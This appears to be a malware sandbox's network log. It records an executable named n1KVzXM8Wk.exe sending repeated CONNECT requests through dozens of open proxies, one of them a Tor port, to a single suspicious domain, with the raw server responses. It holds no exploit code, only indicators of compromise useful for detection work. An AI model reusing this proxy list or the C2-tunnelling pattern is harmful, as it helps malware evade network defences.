Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49862	167.86.102.169	37379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.498887062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.646845102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	50497	64.227.106.157	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.514652967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.668529987 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	50512	23.95.216.90	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.516777992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49875	94.131.107.45	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.516815901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.646750927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	50424	61.7.183.152	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.518071890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49860	51.83.190.248	19050	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.522881031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:17.527632952 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	50446	122.116.150.2	9000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.529165983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	50077	120.234.203.171	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.530694008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.378470898 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49892	160.153.245.187	5784	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.537065983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.682224035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.865808010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866436005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.866126060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	50513	5.196.111.30	20481	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.567301035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	50500	65.21.255.197	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.568145990 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:16.756938934 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 0
Feb 23, 2024 09:45:17.167129993 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	50510	185.129.250.183	32284	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.573143959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.039134026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.584343910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.679853916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	50514	87.106.114.124	6005	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.875499964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	50375	117.160.250.134	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876110077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.419210911 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	50528	13.81.217.201	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876629114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.334233999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.850045919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.834590912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902873993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893634081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.903736115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.835066080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.459645033 CET	835	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:41 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	50475	116.199.170.17	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876647949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	50336	39.165.0.137	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876737118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.447271109 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	50519	65.21.188.18	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876768112 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:17.067178011 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 0
Feb 23, 2024 09:45:17.358227968 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	50488	27.75.152.191	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876781940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49941	208.87.131.151	49314	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876833916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.881189108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.975290060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975336075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.975238085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:52.974967003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	50535	157.185.161.100	26589	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.876975060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49910	109.123.254.43	18072	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.877029896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.881165981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.975295067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975352049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	50524	104.18.136.28	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.969319105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.057169914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	49826	111.3.102.135	30001	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.978296041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	50085	172.67.181.89	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.989063025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
